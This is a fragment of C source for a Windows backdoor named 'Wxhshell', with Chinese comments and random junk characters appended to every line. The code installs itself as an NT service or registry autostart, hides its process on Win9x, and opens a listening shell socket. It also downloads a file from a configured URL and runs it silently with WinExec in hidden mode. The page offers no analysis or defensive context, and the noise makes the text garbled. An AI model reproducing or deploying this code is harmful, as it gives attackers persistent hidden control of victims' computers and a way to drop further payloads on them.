DWORD BasePriority; ]+
XgH#I
ULONG UniqueProcessId; " <m)Fh;
ULONG InheritedFromUniqueProcessId; vz#rbBY*;
} PROCESS_BASIC_INFORMATION; )?K3nr
df&d+jY
PROCNTQSIP NtQueryInformationProcess; IT'~.!o7/
bJx{mq
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; NyeGa
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %h4pIA
.px*.e s
HANDLE hProcess; neoT\HV
PROCESS_BASIC_INFORMATION pbi; 4u"V52
D?)"Z$
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %K\_gR}V
if(NULL == hInst ) return 0; J2v=b?NE
,xn+T)2I
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iRPt0?$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q|"{<2"]U0
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _$9<N5F.,o
13'tsM&
if (!NtQueryInformationProcess) return 0; kbI:}b7H
n-#?6`>a
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vMRM/.
if(!hProcess) return 0; |F iL1_
i(a2FKLy
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z5=&qo|f9l
dScit!T"
CloseHandle(hProcess); E;@`{ v
CGbW]D$@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vAy`8Q
if(hProcess==NULL) return 0; :cnH@:
<ij;^ygYD
HMODULE hMod; `2o/W]SSk
char procName[255]; c}U&!R2p{
unsigned long cbNeeded; Y 'Yoc
C8m8ys
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }e9E+2}Z\
51*o&:eim
CloseHandle(hProcess); S@k4k^Vg
@-NdgM<
if(strstr(procName,"services")) return 1; // 以服务启动
|4\.",Bg
G;Q)A$-
return 0; // 注册表启动 9} :n
} zF>|
9JU
{-PD3 [f"
// 主模块 }mxy6m ,
int StartWxhshell(LPSTR lpCmdLine) 17a'C
{ KA0Ui,q3
SOCKET wsl; w[^s)1
BOOL val=TRUE; ?>*i8*
int port=0; p,* rVz[Y
struct sockaddr_in door; xm6=l".%z
Sl/[9-a)
if(wscfg.ws_autoins) Install(); d(jd{L4d
aW$sd)
port=atoi(lpCmdLine); K=;z&E=<c
a-MDZT<xA+
if(port<=0) port=wscfg.ws_port; 5)wz `OS
razVO]]E
WSADATA data; ?dl7!I@<E<
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iN %kF'&9
~gNa<tg"1
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @{+c6.*}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s_N?Y)lS+(
door.sin_family = AF_INET; 6wYd)MDLL
door.sin_addr.s_addr = inet_addr("127.0.0.1"); lM3UjR|@
door.sin_port = htons(port); n-be8p)-
*r6+Vz
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XkHO =
closesocket(wsl); oP$NTy[
return 1; X2 c<.
} 9fp1*d
[[}KCND
if(listen(wsl,2) == INVALID_SOCKET) { QmvhmsDL
closesocket(wsl); ArDkJ`DE
return 1; V:4]]z L}
} th}Q`vg0
Wxhshell(wsl); U;<07
aMj
WSACleanup(); z4D[>2*
t4R=$
km
return 0; aze}koNE
Ms;:+JI
} Z
7rVM
C:\BvPoO
// 以NT服务方式启动 ~e~iCyW;S
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) byR|L:L
{ 4eMNKIsvY$
DWORD status = 0; 9+)5 #!0
DWORD specificError = 0xfffffff; aF7" 4^ P
l ~kxt2&
serviceStatus.dwServiceType = SERVICE_WIN32; (, Il>cR4
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .uG|Vq1v
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 494"-F 6
serviceStatus.dwWin32ExitCode = 0; d[;S n:B
serviceStatus.dwServiceSpecificExitCode = 0; w[~O@:`]<o
serviceStatus.dwCheckPoint = 0; J+r\EN^9
serviceStatus.dwWaitHint = 0; 3qR%Mf'
;HtHN
K(o
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jc)[5i0
if (hServiceStatusHandle==0) return; d#9
\]Ul&
|_@ '_
status = GetLastError(); )R.y>Ucb0
if (status!=NO_ERROR) Tp2 `eY5
{ '!>LF1W=
serviceStatus.dwCurrentState = SERVICE_STOPPED; w#_/CUL
serviceStatus.dwCheckPoint = 0; PTfTT_t
serviceStatus.dwWaitHint = 0; o(Yj[:+m
serviceStatus.dwWin32ExitCode = status; T$RVz
serviceStatus.dwServiceSpecificExitCode = specificError; -$WU-7`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _]E H~;
return; M@ILB-H
} bq#*XCt#
r)UtS4 7
serviceStatus.dwCurrentState = SERVICE_RUNNING; _yw]Cacr\
serviceStatus.dwCheckPoint = 0; Ea#wtow|-
serviceStatus.dwWaitHint = 0; [LDsn]{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7t
&KKKV
} 99j^<)
T~@$WM(
// 处理NT服务事件,比如:启动、停止 }wJ-*By{+
VOID WINAPI NTServiceHandler(DWORD fdwControl) 't'~p#$,F
{ D|lp3\`%
switch(fdwControl) |giV<Sj
{ $a|C/s+}7>
case SERVICE_CONTROL_STOP: LxaR1E(Cc'
serviceStatus.dwWin32ExitCode = 0; qOAK`{b
serviceStatus.dwCurrentState = SERVICE_STOPPED; Qxr&zT7f
serviceStatus.dwCheckPoint = 0; 2MaHD}1Jw
serviceStatus.dwWaitHint = 0; f}Mx\dc
{ ?*lpu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @(Q'J`
} ;K]6/Wt
return; rvrv[^a(
case SERVICE_CONTROL_PAUSE: }{/3yXk[G
serviceStatus.dwCurrentState = SERVICE_PAUSED; YBb%D
break; @k~'b
case SERVICE_CONTROL_CONTINUE: uf4C+ci
serviceStatus.dwCurrentState = SERVICE_RUNNING; 32j@6!
break; I*8i=O@0T
case SERVICE_CONTROL_INTERROGATE: 3~v'Ev
break; Sxo9y0K8-
}; oRmz'F
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l>p S23
} |t](4
RS'!>9I
// 标准应用程序主函数 }j9V0`Q
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d/oxRzk'L
{ ,ND}T#yTR
+72[*_ <
// 获取操作系统版本 xaiA2
OsIsNt=GetOsVer(); gbF^m`A>%+
GetModuleFileName(NULL,ExeFile,MAX_PATH); }@JPvIE
y!JZWq%=
// 从命令行安装 ^PHWUb+``
if(strpbrk(lpCmdLine,"iI")) Install(); >~C*m `#
)rX["=
// 下载执行文件 $]O;D~
if(wscfg.ws_downexe) { }&|S8:
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QfqosoP\D
WinExec(wscfg.ws_filenam,SW_HIDE); -;rr! cQ?
} x`:zC#
G1K72M}CW
if(!OsIsNt) { B"sQ\gb%Q
// 如果时win9x,隐藏进程并且设置为注册表启动 7\ELr 5
HideProc(); DPIIE2X
StartWxhshell(lpCmdLine); i`#5dIb
} ^0"W/
else -UD^O*U
if(StartFromService()) 2 VgFP3
// 以服务方式启动 UOh%"h
StartServiceCtrlDispatcher(DispatchTable); m^hi}Am1
else hbfTv;=z
// 普通方式启动 +JQ/DNv
StartWxhshell(lpCmdLine); 24;F~y8H
]!l]^/.
return 0; Y*oT(
}